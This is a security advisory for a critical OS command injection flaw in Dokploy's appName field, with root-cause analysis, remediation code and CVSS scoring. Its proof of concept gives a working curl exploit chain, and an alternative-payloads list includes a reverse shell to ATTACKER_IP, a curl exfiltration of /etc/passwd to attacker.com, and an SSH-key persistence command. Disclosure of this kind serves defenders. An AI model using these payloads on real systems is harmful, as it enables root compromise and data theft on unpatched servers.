Skip to content

Command Injection in Dokploy Service Operations

Critical
Siumauricio published GHSA-fcgq-jjfg-hrhj May 11, 2026

Package

Dokploy

Affected versions

<= v0.26.6

Patched versions

None

Description

Summary

Dokploy is vulnerable to OS command injection through the appName parameter. User-controlled application names are passed through inadequate sanitization (cleanAppName function only replaces spaces and converts to lowercase) before being interpolated directly into shell commands executed via execAsync() and execAsyncRemote(). An authenticated attacker can inject shell metacharacters (e.g., ;, $(), backticks, |, &) in the appName field during application creation, which are then executed with server-level privileges when service operations (start, stop, remove, scale) are triggered.

Root Cause Analysis

The vulnerability exists due to three compounding issues:

  1. Inadequate Input Sanitization: The cleanAppName() function in https://github.com/Dokploy/dokploy/blob/canary/packages/server/src/db/schema/utils.ts only performs minimal processing:

    export const cleanAppName = (appName?: string) => {
        if (!appName) {
            return appName?.toLowerCase();
        }
        return appName.trim().replace(/ /g, "-").toLowerCase();
    };

    This function does NOT sanitize shell metacharacters like ;, $(), backticks, |, &, >, <, or newlines.

  2. Schema Lacks Validation: The apiCreateApplication schema in https://github.com/Dokploy/dokploy/blob/canary/packages/server/src/db/schema/application.ts accepts appName (check l:290) as a plain string without regex validation:

    appName: z.string(),

    While some API endpoints (docker.ts) use containerIdRegex = /^[a-zA-Z0-9.\-_]+$/, the application creation path does not enforce this.

  3. Direct Shell Interpolation: User-controlled appName values are stored in the database and later directly interpolated into shell command strings executed via Node.js exec:

    await execAsync(`docker service scale ${appName}=0`);

Proof of Concept

Prerequisites

  1. Dokploy instance: Install via official script (as root):

    curl -sSL https://dokploy.com/install.sh | sh

    Access http://<SERVER_IP>:3000 and create admin account on first visit.

  2. Tools: curl, jq

Step-by-Step Exploitation

Variables - adjust to your environment
image

URL="http://localhost:3000"
EMAIL="admin@example.com"
PASS="yourpassword"

Step 1: Login
image

curl -s -X POST "$URL/api/auth/sign-in/email" \
  -H "Content-Type: application/json" \
  -d "{\"email\":\"$EMAIL\",\"password\":\"$PASS\"}" \
  -c cookies.txt

Step 2: Create a project (required to get an environmentId)
Projects are created via tRPC mutation. Response includes project.projectId and environment.environmentId
image

curl -X POST "http://localhost:3000/api/trpc/project.create" \
  -H "Content-Type: application/json" \
  -b cookies.txt \
  -d '{
    "json": {
      "name": "exploit-project",
      "description": "Test project for PoC"
    }
  }'

# Example response (save the environmentId from the response):
# {"result":{"data":{"json":{"project":{"projectId":"abc123",...},"environment":{"environmentId":"env456",...}}}}}

Step 3: Create an application with malicious appName containing command injection payload
The appName field accepts shell metacharacters that will be executed later
image

curl -X POST "http://localhost:3000/api/trpc/application.create" \
  -H "Content-Type: application/json" \
  -b cookies.txt \
  -d '{
    "json": {
      "name": "malicious-app",
      "appName": "test;id>/tmp/pwned;echo",
      "environmentId": "<ENVIRONMENT_ID_FROM_STEP_2>"
    }
  }'

# Example response (save the applicationId):
# {"result":{"data":{"json":{"applicationId":"app789","appName":"test;id>/tmp/pwned;echo",...}}}}

Step 4: Trigger the vulnerability by stopping the application
When stop is called, it executes: docker service scale test;id>/tmp/pwned;echo=0
This breaks into multiple commands:

  1. docker service scale test (fails, but continues)
  2. id>/tmp/pwned (EXECUTES - writes user info to /tmp/pwned)
  3. echo=0 (benign)
image
curl -X POST "http://localhost:3000/api/trpc/application.stop" \
  -H "Content-Type: application/json" \
  -b cookies.txt \
  -d '{
    "json": {
      "applicationId": "<APPLICATION_ID_FROM_STEP_3>"
    }
  }'

Step 5: Verify RCE (Swarm uses "dokploy.1.xxx" naming)
image

docker exec $(docker ps -q -f name=dokploy.1) cat /tmp/pwned
# Expected output: uid=0(root) gid=0(root) groups=0(root)

Alternative Payloads

# Reverse shell payload (replace with attacker IP/port)
"appName": "x;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1;echo"

# Data exfiltration payload
"appName": "x;curl http://attacker.com/steal?data=$(cat /etc/passwd|base64);echo"

# Write SSH key for persistence
"appName": "x;echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys;echo"

# Command substitution payload using $()
"appName": "x$(id>/tmp/pwned2)y"

# Backtick command substitution
"appName": "x`id>/tmp/pwned3`y"

Expected Result

After executing Step 5, the file /tmp/pwned on the Dokploy server should contain output similar to:

uid=0(root) gid=0(root) groups=0(root)

This confirms that:

  1. The injected command (id>/tmp/pwned) was executed
  2. The command ran with root privileges (typical in Docker deployments)
  3. Full RCE has been achieved

Remediation

// BEFORE (vulnerable)
// packages/server/src/db/schema/utils.ts
export const cleanAppName = (appName?: string) => {
    if (!appName) {
        return appName?.toLowerCase();
    }
    return appName.trim().replace(/ /g, "-").toLowerCase();
};

// AFTER (fixed) - Option 1: Strict validation regex
const SAFE_APPNAME_REGEX = /^[a-zA-Z0-9][a-zA-Z0-9._-]*$/;

export const cleanAppName = (appName?: string) => {
    if (!appName) {
        return undefined;
    }
    const cleaned = appName.trim().replace(/ /g, "-").toLowerCase();
    if (!SAFE_APPNAME_REGEX.test(cleaned)) {
        throw new Error("Invalid appName: contains forbidden characters");
    }
    return cleaned;
};

// AFTER (fixed) - Option 2: Use parameterized execution
// packages/server/src/utils/docker/utils.ts
import { execFile } from "child_process";
import { promisify } from "util";
const execFileAsync = promisify(execFile);

export const stopService = async (appName: string) => {
    try {
        // Safe: appName is passed as an argument, not interpolated into a shell string
        await execFileAsync("docker", ["service", "scale", `${appName}=0`]);
    } catch (error) {
        console.error(error);
        return error;
    }
};

// Also add schema validation at the API layer
// packages/server/src/db/schema/application.ts
export const apiCreateApplication = createSchema.pick({
    name: true,
    appName: true,
    description: true,
    environmentId: true,
    serverId: true,
}).extend({
    appName: z.string().regex(/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/,
        "appName must contain only alphanumeric characters, dots, underscores, and hyphens")
        .optional(),
});

References

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-27130

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits